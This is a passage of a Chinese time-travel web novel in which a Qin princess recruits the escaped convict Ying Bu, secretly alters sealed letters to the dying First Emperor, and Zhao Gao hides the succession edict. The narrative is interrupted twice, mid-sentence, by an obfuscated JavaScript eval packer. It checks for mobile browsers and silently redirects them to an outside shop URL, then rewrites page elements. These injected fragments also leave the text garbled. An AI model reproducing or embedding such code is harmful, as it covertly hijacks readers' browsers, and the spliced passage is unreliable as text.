可有人却并不这么认为,气愤道:“回去做什么?挨上一顿打骂,再没日没夜的干活,最后被那些繁重的活计累死吗?” 骊山缺少石料,刑徒们不得不从渭水北山上开采,上个月开采到了一块非常引人注目的天然巨石,这块石头高达一丈八尺,周长十八步,被人称为“佷(hěn)石”,就是狠石的意思。 达官显贵们见到后都纷纷赞叹它的壮观,可谁又知道为了搬运这块石头累死过多少人呢? 气愤刑徒有一位好友就是为了搬起这块石头而被活生生累死的。 “反抗是死,回去也是死。”一名刑徒抓紧旁边树木枝干,愤恨道,“不如和他们拼了!” 说完,带着期待的看向那位被他们称做“英公”的人,仿佛只要英公一点头,他们就会拔树斩枝,作为武器,去和官府那些人拼命。 英公嫌弃道:“吵什么,是怕你们的声音不够大,引不来官吏吗?” 可真是一群天大的蠢货! 被他骂了一顿,众人敢怒不敢言,激愤的神情稍微平静一些。 “那您说,我们应该怎么办?” 英公分析道:“若这些人真想来抓我们,早就进山行动了,而不是在山脚安营扎寨,没有动作。” 他说出自己的猜测,那些人全都骑马,而且直到后半夜才歇息,应该是赶着去办朝中的某件紧急任务,时间有限,就算发现他们,也不会有心思抓捕他们。 现在这种情况,他们只能进山了。 逃亡之后,跑进山林水泽中,这似乎变成了一个常识,尤其是南方楚越之地,那里山岭叠嶂,森林密布,容易迷失方向,官吏们进去搜查的效率很低,很难找到逃跑刑徒。而且山林中还有足够用来维持生计的食物和水资源。 例如刘邦放跑囚徒后就逃到了芒、砀山只见,彭越也是在巨野泽周围和项羽打游击的。 但问题是,这里是骊山啊,是秦人的地盘,就算一开始没意识到,可一年又一年里,进山的刑徒多了之后,也能琢磨过来。熟能生巧,这么多年下来,山上哪里适合藏人,哪里角度隐蔽,哪里资源丰富,都被这些小吏们搜差的一清二楚。 所以起初英公的计划是反其道而行,趁着官吏们下半夜松懈,从骊山道一路逃去长江那边。 可惜出了岔子,中途有另一群官府的人在前面挡路,英布挥了挥手,命令大家进入山中。 青琅现在满脑子都是沙丘、矫诏、车裂……确实分不出来一点心思在他们身上,只要这些人不突然发疯自投罗网来找她打架,她是不会主动管这件事的。 所以在听到子婴说树林中可能有逃跑的刑徒时,悠悠说了句:“或许是一群聚在一起跳舞唱歌的野鸡兔子蛇吧。” 我可不知道山里面有罪犯。 子婴一愣,明白了她的意思后接话道:“是啊,或许是一群动物吧。” 他也不知道山里有罪犯。 众人抓紧时间休息,第二日天刚蒙蒙亮就已睁眼,青琅用冷水洗了把脸,将一些还在散发着微弱红光的木炭挑出来处理掉,然后用土将昨晚燃烧过篝火的地方掩埋起来,一套动作行云流水,特别熟练,看得几名卫士们个个发愣。 不是,这十一公主的野外生存能力看起怎么来比我们都强,到底谁才是真正的卫士啊?! 收拾完毕,正要出发,视线中突然出现说两排人影,从山腰上下来。 英公等人运气实在不好,正巧赶上昨夜值班的官吏很负责任,又恰好熟悉这附近的地理环境,因此还不到三个时辰,就将他们从山中抓了出来。 刑徒身上都捆着粗大的黑色绳索,绳索将他们从到尾连起来,共分为两列,每个人脖子上都戴着木枷,就连脚,也被一个大铁钳夹住。几名披甲带剑的小吏牵着他们,脸色严肃,不敢有丝毫马虎,保险起见,前后还各有一名发弩卒紧紧盯着他们。 两只队伍越走越近,押送逃奴的小吏上前同贵人行礼问好,青琅应了两句后,随便在这些刑徒身上扫了几眼,有几个被剃掉鬓角或胡子的,基本没有受过肉刑的,除了…… 青琅将视线落在队伍中最后一人身上。 三十来岁的年纪,身高约七尺五寸,在这个时代算是很高,身上穿着小好几号的囚服,估计是个穷鬼,浓眉如墨,面上被用墨刺字,额上青筋绷得很紧,这证明他现在正处于情绪非常激动的状态。 那人转头看向青琅。 电光火石间,二人对视。 阴恻恻的眼神,好像一条瞄准猎物,准备动手的毒蛇。 大概是将青琅当成软柿子了吧。 是啊,和身强体壮的子婴相比,青琅这个十五岁的未成年明显会更好欺负一些。 可惜青琅不是什么随便让人揉搓扁圆的软柿子。 有趣, 英公突然暴起,伸手将脖子上的木枷取下,刚刚捆住他手腕的绳子不知道什么时候被磨断了,他一直用手抓着,给了官吏们一个自己还被绑着的假视野。 几乎是同一时间,脚上的铁钳被他向上踢飞,用手接住。 该说不说,这个效率,算是开锁届的一把好手。 他动作又快又急,趁旁边小吏没反应过来,一钳将他击倒在地,想要去夺小吏身上的剑,可惜小吏虽头脑还处于懵逼状态,但身体已经提前行动,下意识护住自己的武器。 英公又试了几次,眼见夺剑不成,只好放弃,用手上的铁钳和木枷当做武器,同其他小吏缠斗起来。 准备多时的两名发弩卒见机开始行动,一前一后朝他的方向射箭。 被人围攻,他却丝毫不慌,全力朝着青琅方向打斗过去。 英公觉得这个女郎的身份看起来比那些普通卫士高上许多,于是想要挟持她来让这些小吏为自己打开一条出路。 可他发现,青琅依旧在凝视他……不,应该叫审视。 似乎早就察觉了到他的想法。 一双黑而冷的眸子在英公身上上下打量,似乎要将他浑身上下的每一块肌肉,打斗时的每一个动作都看得清晰,并在心中评好等级。 好傲的女郎。 英公这样想着,手上的动作却是越来越凌厉,越来越充满力量,似乎是在回应她的审判。 看,我多么能打,我多么厉害。 没遇上的时候可以装不知道,但现在都在自己面前打得这么激烈了,而官吏们还隐隐有落于下风的趋势,就算是出于对同一阵营的帮助,也应该出手了,于是子婴手下这八名卫士纷纷下马,加入战斗。 场上情形一时变得难舍难分,青琅突然想起了史书上的一个记载,项羽在出道之前就能1v100多,垓下之围大残时霸王本色也能斩杀一百多个人。 此人虽然只是1V18,但他在武器方面落了下风,如果让他手中持有和军吏卫士们相同的武器,至少能打五十人! 可真是我的低配版项羽、许褚、吕奉先啊! 英公打着打着,又无意间看了一眼青琅。 她的眼神变了一些,虽然表情还像刚才那样淡然,但嘴角却勾起微微弧度,欣赏、满意。 明显对他刚刚的表现很看好。 英公:这女郎不错,有眼光。 英公打得更起劲儿了,整个人身上都透露出四个大字:旺铺招租! 啊不对,是贤才求君——虽然他和“贤”字没有半点关系,“才”也搭不上边。 他越打越勇敢,一名卫士露出破绽,他瞅准时机,迅速闪身,一个错手拧腕,将青铜剑夺到自己手中,朝另一名卫士的咽喉处砍去。 “住手。”冰冷而凌厉的声音传来,对着他说道:“若想活命,便放下手中长剑。” 英公闻言直接停手,速度快到攻击他的小吏都来不及收回动作,一个飞踢,直接将他踢倒在地,让他和大地来了个全面接触。 场面陷入安静,众人视线齐齐看向这名小吏。 小吏:啊?! 这不怪我吧?公主说的是放下长剑,而我没放下的是我的腿啊! 青琅:“起来。” 五体投地的英公又从地面上站了起来,看向青琅,与此同时,青琅也骑马朝他走去。 “公主危险,万万不可啊。”有人害怕英公趁机伤害青琅,阻止道。 青琅却摇了摇头:“没事的。” “多谢你的关心。”他说,“这人想要挟持我是为了逃跑活命,若给他一个活命的机会,我自然就安全了。” 英公:“你怎么知道我想劫持你?” 青琅:“猜的,” 他决定对眼前这位自己看中的壮士来一场“话聊”,如果语言没有作用,那她也有几分力气和手段。 被她打过的人连失眠都能治好,一睡睡三天,睡眠治疗极好。 “太史子曾言,大丈夫既食君禄,当带三尺剑,立不世功……” 英公理直气壮道:“我未食君禄。” “你这话说的。”人群中一位小吏低声喃喃道,“你欠官府的衣服钱不是还没给吗?” 骊山刑徒身上的赭色囚服并不是官府免费发放的,而是需要刑徒们花钱去买。 而且衣服尺寸、款式不同,价格也不同。一个成年男性刑徒的冬衣为110钱,夏季为55钱。 但如果有人实在太穷,出不起这个钱,官府也不会让他光着干活的,而是会给他发“舂”的囚服。 “舂”是一种女性刑徒,因为这种刑罚需要不停的舂米,所以被称为“舂”。 无论男女老少个头大小,只要你交不起钱,就会统一发放“舂”的囚服。至于尺寸合不合适,那就另说了,反正总比光屁股强。 英公被这名小吏说得微微破防,他平日里专门和罪犯的头目,英雄豪杰等来往,可不是那种没钱的人,这不是为了今日之计,全都送出去打理关系了吗? 青琅:…… 她一开始的设想是,勇士说“我没食君之禄。”她回一句“我给你个食君之禄的机会你要不要?” “你叫什么名字?” “英布。”他回,“英雄豪杰的英,金布律的布。” 众人无语,心想你一个逃跑两次,还打伤了这么多官吏的刑徒罪犯,怎么好意思提秦律的呢? “英布……英布。”青琅念完之后,又重复了一遍这个耳熟的名字,开始在脑海中搜索信息,“你是哪里人?又为何被判罪。” 若是因为些十恶不赦的大错而被判刑,即使他再勇猛,青琅也不打算收他。 英布坦言自己是六县人,曾因为一次和别人打架时太过激动,将对方的胡须和眉毛全部扒光,被判为城旦,又因为服刑期间逃跑被抓回,被处以黥刑。 在秦朝这个重视须发的朝代,把人家的胡子眉毛扒掉简直是做八辈子大孽了,属于重罪,多少人宁愿被打伤脸,也不愿意自己的美须髯损伤分毫。 其实英布隐瞒了自己的一个经历。 英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463321|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布小时候有位客人给他看相,说他会在受刑后称王。 不过他不说这件事,青琅也知道。 从脑子里的记忆搜索到,这人就是在史记上单独一个列传的淮南王英布。 秦末时期,项羽麾下大将,巨鹿之战立下大功。后来楚汉战争,刘邦派使者游说英布叛楚归汉,成为他取得最终胜利重要一步棋。 韩信张良萧何被称为汉初三杰,而彭越(后方游击项羽)、英布(出兵牵制项羽)、韩信(还定三秦平北方四地)则被称为灭楚三英。 后来彭越韩信都因被别人告发谋反而死,英布还吃到了好兄弟彭越酱,眼见突然有个门客也跳出来去长安告状说自己谋反。 所以他就真反了。 据说还因为战场上的列阵风格和项羽一样,把老刘恶心够呛。 由此可见,此人确实很勇。 青琅:“我刚刚见你拳脚之间勇猛非凡,有此功夫,理当先登城头,斩将夺旗,立功名而取富贵。” 英布不是那种一句话绕成三圈的文化人,他的想法很直,说话也直接,心想既然贵人赏识我,那我就直接让她给我个机会不就成了吗? 他跪下、行礼:“盼望得贵人赏识,给布一个机会,立功赎罪,为我大秦斩将夺旗,破军杀将。” 再傻再直的人,提到前途,说到立功,想到官场,也都变精了,语言方面知道上高度了。 虽然他的语气很诚恳,愿望很强烈,但青琅却不能直接答应他。 她告诉英布,自己现在暂时还没有能力把他插到军营之中,军事变动这种事得去沙丘行宫向她父亲禀告过后才行。 英布问了个冒昧的问题:“恕布冒昧,令尊是?” 青琅:“吾父始皇帝。” 英布:!!! 哦哦,原来你父亲是皇帝……谁?! 父亲是皇帝,那面前这位女郎岂不就是大秦公主! 英布被这个消息震惊到,感觉自己的脑袋似乎有些烧烤不过来,就连呼吸都停住了。 事情发展比他想象的要好上许多,喜悦将他整个人都淹没掉。 虽然刚刚鼓励英布斩将夺旗立大功,可青琅又告诉他,可以先将他弄到公主府中当公主舍人,当她的卫士,或者为她驾车。 英布:……啊?! 英布眼睛瞪得老大。 还有这种好事?! 英布本以为公主殿下最多把自己的徒籍去掉,转为普通民户籍,即“编户齐民”,然后让他自己出去闯荡杀敌。 结果公主居然如此大气,出手就是舍人的位子! “多谢公主赏识。”英布连连行礼,这次的礼节之大,简直称得上是五体投地,身体和地面的接触面积比刚刚被踢那次都多。 子婴心里:十一啊,你连公主府都没有,怎么让他来公主府当舍人? 子婴嘴上,沉默。 有编之后的英布,伤口也不疼了,也不认为始皇帝暴戾了,世界也美好了,整个人都神清气爽。 那……其他人呢? 和他一起逃跑一起被抓的这些人眼巴巴地看着英布攀上贵人,一步登天,只恨自己没有更大的力气,更强的招式,能得到公主赏识。 青琅:“这些人既然能同你相交,必然也在某些方面有长处,等我处理好手头的事情,若是他们没有犯过罪大恶极的罪行,我也可以帮他们一同改掉户籍。” 这些可都是历史上跟着淮南王的原始股啊。 唉,奋斗初期就是艰难啊,只能稍微放宽一下政审标准了,她好想得到吕雉韩信张良萧何那样的人才。 众人如听仙乐。 地上跪倒一片。 刚刚那名阴阳英布的小吏斜楞了英布一眼,心里十分不爽他一步登天,但也不敢在公主面前表现出来。 “你们抓捕有功,这次意外耽搁了你们的时间。”青琅拿出二两金送给小吏,让他们用这些钱去看看医者,检查一下身上的伤口伤口。 小吏爽了。 公主哪里是耽误了他们时间,分明就是救了他们的性命啊,幸亏公主及时叫住英布,若是刚刚英布将那剑被刺了下来,后果简直不堪设想。 二两金相当于1152秦半两钱,不多不少,刚刚处在一个不会引人眼红的程度。 众人感动得几乎热泪盈眶,而青琅公主的仁义人设也越树越高。 在得知青琅他们要去干一件很重要的事情后,虽然不知道这件事具体是什么,但英布还是毅然决然地决定跟着青琅一同东行。 在他说要保护公主安全,好说歹说的请求下,终于同意留下一名卫士和这些官吏们去官府中处理户籍手续问题,而英布则代替他骑上马,跟着大部队前往沙丘。 马蹄踢踏,队伍继续赶路,一直到日薄西山。 今日他们比较幸运,前方有一传舍,可供休息,不用露宿街头。 一行人的马被传舍中小吏拉去马厩投喂草料,他们则进屋用飧,舍人亲自招待,态度隆重,生怕怠慢。 舍内已经有人在用飧了,青琅注意到他的打扮,头裹绛红头巾、膀戴绛红套袖。身上还背着一种红白相间,名为“赤白囊”的专用邮包。 这便是秦朝的邮人了,负责传递政府公文的专职吏员。 秦朝大部分邮人纯靠两只脚步行传递消息,这种走路送信方式名为“以邮行”,《行书律》规定邮人赶路的速度为一天一夜行二百里,在路上停留时间长,或磨磨蹭蹭走的慢了,都会受到惩罚。 用马车传送公文的方式叫做“传”,骑马则为“驿”。 而舍中这名邮人送信的方法是“驿”,这表示他手中的信件很重要。 青琅灵敏的察觉到了什么,语气严肃,问那邮人道:“你囊中这些,是什么信件?” 面前之人一位是皇室公主,另一位是秩千石的宗正承,哪个他都欺骗不起,于是如实回答回道:“是定时送到陛下那边的咸阳政务。” 青琅心下一颤。 自己前天夜里弄出那么大的阵仗,又是仙缘、又是明光的,也不知道会不会被写到信函中。 嬴政病入膏肓,这些信函大概率会落到李斯或赵高手上,落到李斯手上还好,若是被赵高截胡,知道这件事,定会提前防备,青琅就处于下风了。 4. 到达 瞥了一眼被邮人护在身旁的红白邮包,不是很鼓,只装了三分之一左右,看来咸阳最近的政务不太多。 青琅又问了这名邮人一些今日已经行了多少里,还要再行多少里之类的问题。 对于这些问题,邮人没有起疑,他以为这就是贵人随口问的关于工作方面的问题,本着在上官面前展现出自己对待工作辛劳熟悉认真的心思,每个问题都回答的特别详细认真。 沙丘行宫在赵地,邯郸郡以北(今河北邢台),从咸阳到沙丘需要经过三川郡、河内郡、邯郸郡再往北走一段距离。 但邮人不知道嬴政如今人在沙丘,莫说是他,很多朝臣公子都不知道,邮人的任务就是再往前走八十里,将信函交给下一个驿站的邮人,下一个驿站的邮人再交给下下个驿站,每人只负责好自己的地盘,以此往复,直至交到嬴政手上。 一环扣一环,除了信函不变,人马皆换,这也是明明这些信函发出的时间比青琅等人出发的时间晚,却在他们之前到达传舍的原因。 虽然才刚穿越,青琅也知道这种要送到皇帝面前的信函是不能转手交给别人打开的,即使是宗室之人、公主皇子也不可以! 但青琅得到了自己想要的答案。 她道:“很抱歉。” “啊?”邮人有些懵逼,眼睛都瞪大了一点点,想不明白公主为什么会突然向自己道歉。 还是自己听错了,公主的意思是要我向她道歉? 想来想去,还是后面的猜测可能性大一些。 他正准备道歉,青琅却又说了一句:“对不起了!” 说完,还未等邮人反应过来,便一个手刀朝他脖颈处劈去,邮人只感觉脖颈处一痛,随后便晕了过去,也算得了个痛快。 岂止邮人没反应过来,周围卫士们和子婴英布都看傻眼了。 公主做事也太……雷厉风行了吧? 虽然在现代,这叫想一出是一出,擅自行动。 青琅露出一个尴尬而不失礼貌的微笑,随后图穷而匕现,打开红白囊,将里面的信函倒在地上,共有七块简牍。 秦朝在木版上写好信后,会在有字的这一面上盖一块空白版牍,若要写的内容太多,简牍正反两面都写满了字,那就再在底下也垫一块空白简牍,像三明治一样夹在一起,将信函的内容封盖起来。 盖严的木版用绳子系好,秦法严格苛细到就连系信件的绳子也要用专门材质。《司空律》规定,如果当地生产菅草,那就只能用菅草制成的绳子来系文书,没有才可以用蒲草、兰草、麻等作为替代品,面前这些信函上的绳子就是菅草所制。 除此之外,寄信的官吏会在绳子打结的地方糊一种特质的封泥,泥上再盖印章,用来防止有人在传信路上偷偷打开绳子,撬开印泥偷窥信件,泄露朝廷机密,这一过程叫做“封缄”。 ——青琅现在就是这个被防的坏人。 青琅不会拆信,主要是她单手不好操作,所以将这些简牍全都送到子婴面前,向他说出自己的顾虑。 子婴拿出一只小刀撬开封泥,里面版牍由柔软的柳木制成,长约23.1厘米,也就是秦制的一尺,宽四寸多一些。 考虑到青琅这个秦朝文盲,子婴贴心将上面内容小声读了出来。 信上首句皆为时间,卅六年六月丙午朔甲寅,接下来写得是要禀告给嬴政的政务,前面和结尾都有一句某某某敢告之,这是为了防止有不法人员在公文中间加字,篡改内容。 运气不好也不坏,恰巧在第四块抽中,第四块简牍上清楚地写了那晚和青琅有关的异象,以及青琅神神叨叨地说着什么苍生啊社稷啊之类的话,随后就和宗正丞子婴一起出咸阳了——没写去哪儿,估计写信函的人也不知道。 防改字模式又成功将青琅也防住了。 改字不行,那就删字呗,她想了想,从子婴手中拿过小刀,将上面自己变聪明了,还有和预言、秦社稷有关的话全部刮掉,一番操作过后,上面内容变成了天降异象,仙人赐福,青琅出咸阳。 虽然删掉的不多,但意思就完全变了,就赵高干得那种大逆不道的事情,拯救社稷的话一看就和他有关,可现在就很像有人为了得到陛下关注,挟持单纯公主并弄出来一系列事情了。 子婴就这么静静地看着青琅操作。 这两天的经历,他越发确定自己被公主给忽悠了。 是,刚开始出发去沙丘的确问题不大,也不需要付出太大代价,可后面给大公子写信、骊山收英布、传舍改信函,桩桩件件,都在违反秦律的条款上反复横跳,将他的底线一降再降,降到黄泉! 所以到底是怎么走到连给陛下的信函都敢删改这个地步来着? 算了,反正他现在已经在公主的船上了,子婴已认命,只盼公主所策能够成真,从奸臣手中拯救大秦社稷。 信删好了,可现在又有一个很严肃的问题——他们要如何将这些信原封不动地封回去。 青琅下意识看向子婴,他没有任何动作,随即又将视线在诸位卫士身上一一扫过…… 诸位卫士纷纷摇头。 上苍可鉴,他们可都是遵纪守法的好秦吏啊,从来没干过这种删改信函的事情! 就在青琅准备再想想办法的时候,旁边突然有人发声。 “咳咳。”英布努力加强自己的存在感,“公主,您可以让我试一试吗?” 青琅欣然欢喜,是啊,她怎么忘了英布这个特殊人才呢! 骊山有来自全国各地的刑徒,三教九流鱼龙混杂,形形色色各行各业的人都有,英布和他们相处的时间长了,关系好了,自然就能学到他们的三四成技艺,例如今早的开锁,还有现在的重印封泥。 英布先要了几种材料,将灯烛点燃,在众人注视下,他先是将一些东西混在一起,手上一番灵活的动作,制出一坨和旧封泥相差无几的物质。将旧封泥烤得底边滚烫,把这坨物质融在旧封泥底部,盖在绳结上。 一段时间后,封泥干透,总体来看,颜色质地触感等都和原件差不多。 “很可以。”青琅赞道,“英君多才多艺,堪称全能啊。” “不过是微不足道的小伎俩罢了。”对于青琅的夸奖,英布显然很开心,但却没飘,“如此低略卑下之技,能解公主的困境,此英布之幸也。” 英布一个混的入,就连历史上刘邦问他为什么造反,他都不像韩信似的说个什么狡兔死走狗烹,也没有陈胜的今亡亦死,举大计亦死,等死,死国可乎?的话。而是非常直白的说“吾欲帝尔”——我想当皇帝。 现在却能想出这么文绉绉的词,真挺不容易的。 他又道:“不知布此举,可堪为公主的鸡鸣狗盗之客?” 现代一提起鸡鸣狗盗这个词,想到的是些小偷小摸行为,实际人家鸡鸣狗盗可是大大的好人啊! 战国时期,齐国孟尝君门下门客众多,有几千人,除了博学多识的贤人外,还有各种逃亡罪犯市井小民,可孟尝君却不分贵贱,衣食住行以自己的标准招待他们。 其中有两位门客分别会一项看起来没什么用的技能,一个会学鸡叫,另一个擅长学狗叫偷东西。 可就在孟尝君被秦昭王囚禁在秦国时,狗盗学习狗叫引开宝库的守卫,偷来一件很珍贵的白狐裘送给秦王宠姬,请求她向秦昭王吹枕旁风,这才救下孟尝君。 奔逃至函谷关时,怕秦王半路反悔,另一位鸡鸣之徒就在函谷关前学习鸡叫,让守关卫士以为天色将亮,提前开关放人,孟尝君这才逃离险境,回到齐国。 但英布的这个问题,这让她这么怎么回答?! 人家主公都夸自己的谋士有管仲乐毅姜太公之才,难不成她夸手下是自己的鸡鸣狗盗? 这不就是活生生引喻失义的例子吗? 对了,说道引喻失义…… 青琅摇了摇头,故作高深:“尔有大才,不宜妄自菲薄,引喻失义。” 这话一出,英布突然有一种错觉,自己是青琅最赏识的心腹。后来有了张良韩信吕雉等,他又认为自己肯定是最特别的,毕竟我可是公主收的第一位门客啊! 一通折腾,时间也不早了,子婴派出一名卫士看守这名邮人,另一名卫士穿上邮人的制服,假装邮人前往下一个传舍送信,其他人都去休息,养精蓄锐,明日还要继续赶路。 虽然快马加鞭,但赶往沙丘也要好几天时间,不敢有丝毫马虎。 说起来,也不知道是不是风水不好,沙丘这个地方,真的很邪门,似乎专克君王,因此被后世好多人视为困龙之地。 最早是商纣王,他在沙丘扩建了一处酒池肉林的山水园林,最终商在一片奢靡中走向灭亡。 后来是赵国明主,那位胡服骑射的赵武灵王,因二子夺位引发沙丘宫变,他被困在这里三个月,最终活活饿死,之后赵国再未出现能比肩他的明主,赵国国力也江河日下。 还有就是最著名的秦始皇了,他死之后直接二世亡国。 嬴政虽然无法预见到秦二世王国的结果,前两件也足够他对这座行宫没什么好感。 但他的病情愈发严重,如冬日枯草,鼓衰气竭,奄奄一息,再难启程。 即便病得连榻都起不来,嬴政依旧拿起朱笔,尽力批改案上公务。 对他而言,这是帝王的权柄。 可身体实在经受不住,好在今日文书大致已经处理完毕,剩下一些琐碎之处交给丞相李斯即可。 嬴政想要放下手中笔,刚刚已经用完所有力气,他只觉得自己身体疲软,浑身发热,手心和额头止不住的往外冒汗,这一只笔便毫无征兆的掉到地上,发出“砰”的一声。 一旁侍奉的人听到后,连忙过来查看:“太医,太医,快叫太医!” 又惊慌道:“还有仙丹,对,就是前日刚练出来的那枚丹药,快拿来给陛下吃!” 殿内殿外瞬间变得兵荒马乱起来,赵高一边下令,又一边扶嬴政的身体平放在塌上,脸上和声音中都透着止不住的担忧:“陛下……” 赵高并不像很多人想的那样只会谄媚拍马屁。他长相周正,皮肤白,身材高,行事谨慎,从不出错,书法也很好,秦学室中三篇字帖之一的《爰历篇》就是他所写,这才能做到皇帝近臣的位置,并管事二十余年。 “朕……”嬴政欲言又止,疼痛和疲惫在他体内如天崩地裂般扩散,刚刚的热意还未消散,又感觉自己全身都在发冷,好像热血冷肤那般难捱,他的身体,他自己最清楚,目前已是强弩之末,全凭这最后一口气吊着,可这最后一口气也在一点点的衰变减弱。 人非草木,终有执念,即使是这位席卷宇内,横扫八荒的始皇帝也不例外,嬴政的生命即将达到归宿,他很清楚这个事实,可即便到这最后一刻,他还是不喜欢,也不想说那个“死”字。 可就算再不喜欢这个字,有些事情还是必须要说的,君王的更替乃国家重事,随之而来的还有许多需要考虑。六国余孽会不会趁机造反?朝中百官该如何变动?北方匈奴趁虚而入该怎么办…… 这些他昨日已经粗略告诉过李斯,可嬴政现在最担心的是……扶苏能否治理好这个国家? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463322|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个延续五百年国祚,奋六世之余烈才统一的国家。 嬴政现在不仅身体没有气力,就连脑中思索多了,都疲惫不堪,最终只是问了赵高一句:“诏书可曾发出?” 赵高一愣,很快反应过来:“依照陛下所言,昨日便已发出。” 嬴政没有看穿他脸上的不自然,等赵高喂他喝完太医熬好的药后,便挥了挥手,赵高行礼,随即离开嬴政寝殿。 一阵困意铺天盖地席卷而来,嬴政闭上眼睛想要入睡,脑中混混沌沌,许多好久之前的记忆涌现出来。 先是小时候在赵国做质子的日子,那时候的他真的很苦,赵人恨秦,便将这腔恨意全部发泄再嬴政身上,后来呢…… 他看到后来秦国大军踏平赵国,他亲自前往邯郸,将那些曾经欺负过自己和母亲的仇家全部活埋。 十一岁回到咸阳,一个对他来说很陌生,需要小心行事地方。——后来他在咸阳继位为新的秦王。 他看到了荆轲、看到了背叛自己的昌平君、看到了决裂的太子丹,看到尉缭说他刻薄寡恩…… 这些场景逐渐消散,又逐渐汇拢,最终定格杂糅成一副画面。 这幅画面是—— 他扫平六国,北击匈奴,南征百越,天下俯首。 所有挫折坎坷,统统成为他帝王伟业下的垫脚石。 他站在最高点,俯视远方。 他说:寡人以眇眇之身,兴兵诛暴乱,赖宗庙之灵,六王咸伏其辜,天下大定。 朕的身体或许会死,但朕作为始皇帝的一生,将在史书上留下最绚烂多彩的一笔,朕的郡县制,朕的功业与劳绩,将会永垂不朽,所有人都会歌颂朕! ——但朕还是不想死。 嬴政想要他的身体和他的功绩全都长生。 恍惚间,他又回到了一个月前。 一个月前,嬴政到达琅琊,做了一个噩梦,梦中他和海神作战,海神和人的样子差不多。这个梦光怪陆离,于是嬴政就去找博士解梦。博士却告诉他,他梦中所见绝对不是水神,如今陛下祭祀周到恭敬,却出现这种用大鱼和蛟龙作向导的恶神,应该将其除去,才能招来善神。 嬴政命令许多人携带工具捕获大鱼,终于在芝罘岛上见到大鱼,并亲自用连弩射杀了它。 恶神已除,嬴政心情通畅,可能是心里作用,他那几日身体轻便不少。 可数日后的某个夜里,他便感到头疼发热,四肢酸软,吃了许多太医开的医药和方士们献上的仙丹,但这些不仅没有起到丝毫作用,甚至他的病越来越严重。 疼,头好疼…… 他看到那一晚的自己,夜色之中,躺在龙榻上,正准备闭眼入眠。 忽然一阵白光闪过,晃得他睁不开眼,过了很长一段时间才适应过来,慢慢睁开双眼,发现此刻眼前景象亮若白昼。 明明是黑夜,怎么会这么亮? 骤然间,嬴政想到了前天夜里收到的那块简函,那块来自咸阳的简函。 那时嬴政身上实在没有力气,于是就让身旁的赵高为他念诵信函,其中便有这样一块和夜间明光有关的简函。 也算青琅运气不好,嬴政前不久刚路过琅琊,齐地琅琊可是方士们的大本营,什么神奇景象都能弄出,也包括夜晚发出的很亮的光,嬴政见过类似的,所以没在意这封信函。 可现在,嬴政又想到了这封信函,犹如淹死前的最后一根救命稻草。 她的女儿,大秦十一公主站在亮若白昼的夜晚中,朝他走来…… 脑中一片混沌糅杂,伴随着这些或真实或虚幻的记忆,嬴政沉沉陷入梦乡。 而赵高这边,他自从嬴政寝殿中出来,脸色就一直不太好,忽视一路上向他行礼问安的小宦官们,快步朝自己的房间走去。 再三观察周围环境,保证没有人监视自己,关好门窗,一切确认无误,赵高才急匆匆走到屋内角落里一个柜子旁边,用管龠打开小隔间,小心珍重地从里面拿出一卷东西。 是一卷玺书,上面印着皇帝印章的玺书。 这就是历史上那卷被赵高隐藏起来的,令扶苏“与丧会咸阳而葬”的诏书。 赵高的官职为中车府令,负责掌管皇帝车辆,又兼行符玺事,看管天子之印,执行陛下诏书的发布事宜。这很方便他有机会在诏书上搞小动作。 嬴政昨日知道自己即将无力回天,便写下一份诏书让扶苏回来咸阳主持他的葬礼,没想到却被赵高偷偷藏下。 赵高用手掌在诏书上反复摩挲,动作很轻,怕弄坏了。 想到嬴政刚刚对自己的询问,赵高心中天人交战,无比纠结。 若现在发出诏书,亦不算晚。 可他不甘心啊。 他在陛下身边苦心经营二十余年,心中想法早已坚定,他要人如其名走到最高,若大公子上位,必重用蒙家兄弟,赵高曾与蒙毅有嫌隙(虽然是他单方面的讨人嫌),真有那么一天,自己的后果又会好到哪里去呢? 所以赵高绝对不会让这封诏书发出。 思至此处,赵高将这封诏书丢到一个青铜盆中,找出金燧,用力敲打取火,正准备将盆中诏书烧掉之时,忽听门外有人唤他。 赵高一惊,将诏书放到原处藏好,理了理衣袂,做出一副若无其事的样子,开门道:“什么事?” 小宦官道:“倒也不是什么要紧的事。” 赵高快被气死了。 不要用你口中不要紧的小事来打扰我的要紧事啊! 小宦官:“就是……十一公主,还有子婴殿下来了。” 5. 夜谈 “十一公主?”听到这个称呼,赵高微微眯眼,脑中回想有关这位公主的信息。 嬴政的童年十分坎坷,他才刚出生就被父亲留在邯郸,稍微长大一些,赵姬和嫪毐又弄出来一通乱糟糟的烂操作。所以当他有了自己的血脉后,都尽量给与他们足够的父爱,不过嬴政不推崇墨家兼爱那一套,他有二十多个孩子,难免对某个孩子多喜欢一点,某个孩子更看重一些。 在这些子嗣中,嬴政最重视的是大公子扶苏,虽然他曾因为劝谏儒生之事触怒嬴政,被派到北方上郡监督蒙恬,可临死之时,嬴政依旧选择将他召回咸阳,主持葬礼。 然后就是公子高、将闾、胡亥、公主阴曼等嬴政很宠爱的孩子。 至于十一公主, 她脑子不好,存在感低,虽然有前天送来的那封信函上的内容,可种种想说结合在一起,赵高依旧不认为她会掀起什么风浪。 那位子婴殿下虽然也没什么能力,但二者选一,赵高还是将重点放在了他的身上,吩咐这位来禀报的小宦官去查相关信息,自己则亲自去会会这位子婴殿下。 